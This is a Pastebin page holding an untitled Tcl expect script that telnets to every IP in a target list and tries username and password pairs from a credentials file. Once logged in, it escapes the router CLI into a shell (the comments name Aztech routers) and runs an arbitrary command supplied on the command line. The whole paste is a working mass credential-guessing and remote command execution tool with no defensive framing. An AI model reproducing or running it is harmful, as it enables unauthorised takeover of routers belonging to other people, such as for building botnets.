Guest User

Untitled

a guest
Feb 21st, 2018
170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
TCL 2.75 KB | None | 0 0
  1. #!/usr/bin/expect -f
  2.  
  3. set timeout 5
  4.  
  5. set load_fh [open "targets.txt" r]
  6. set ip_list [split [read $load_fh] "\n"]
  7. close $load_fh
  8.  
  9. set load_fh [open "usersandpass.txt" r]
  10. set name_pass [split [read $load_fh] "\n"]
  11. close $load_fh
  12.  
  13. # Read command as arg to this script
  14. set routercmd [lindex $argv 0]
  15.  
  16. foreach ip $ip_list {
  17.  
  18.         if {$ip == ""} {
  19.             continue
  20.         }
  21.  
  22.         send_user "telnet to this host: $ip\n"
  23.  
  24.         # Connect
  25.         spawn telnet $ip
  26.  
  27.         # Read command as arg to this script
  28.         set routercmd [lindex $argv 0]
  29.  
  30.         expect_before -re {Bad username|Login incorrect} {
  31.                 send_user -- "$ip: auth problem. last output:\n $expect_out(buffer)\n=========\n"
  32.                 catch {exp_close}
  33.                 continue
  34.             } -re {Unable to connect to remote host|Connection closed by foreign host} {
  35.                 send_user -- "$ip: connection problem. last output:\n $expect_out(buffer)\n=========\n"
  36.                 catch {exp_close}
  37.                 continue
  38.             } timeout {
  39.                 send_user "$ip: timeout"
  40.                 catch {exp_close}
  41.                 continue
  42.             } eof {
  43.                 send_user "$ip: close connection. last output:\n $expect_out(buffer)\n=======\n"
  44.                 continue
  45.             }
  46.  
  47.         foreach {name pass} $name_pass {
  48.             if {$name == {} || $name == {}} {
  49.                 continue
  50.             }
  51.  
  52.             set done 0
  53.  
  54.             # send username & password
  55.             expect -re {ogin|sername} {
  56.                     send -- "$name\r"
  57.                     exp_continue
  58.                 } {assword} {
  59.                     send -- "$pass\r"
  60.                 }
  61.  
  62.             # expect one of these strings and take an action depending which one comes
  63.             # replace "Login incorrect" with whatever message your router sends
  64.             expect {cli>} {
  65.                     send "shell\n"
  66.  
  67.                     # execute command , supposed we r using ash at aztech router
  68.                     expect -re {#} {
  69.                         send -- "$routercmd\r"
  70.                     }
  71.                 } {Do you want to spawn a shell instead} {
  72.                     send "y\n"
  73.  
  74.                     # execute command , supposed we r using ash at aztech router
  75.                     expect -re {#} {
  76.                         send -- "$routercmd\r"
  77.                     }
  78.                 } {#} {
  79.                     send -- "$routercmd\r"
  80.                 }
  81.  
  82.             expect {#} {
  83.                 set done 1
  84.             }
  85.  
  86.             if {$done} {
  87.                 break
  88.             }
  89.         }
  90.  
  91.         send_user "end processing host: $ip\n\n"
  92.         # close the child process
  93.         catch {exp_close}
  94. }
Add Comment
Please, Sign In to add comment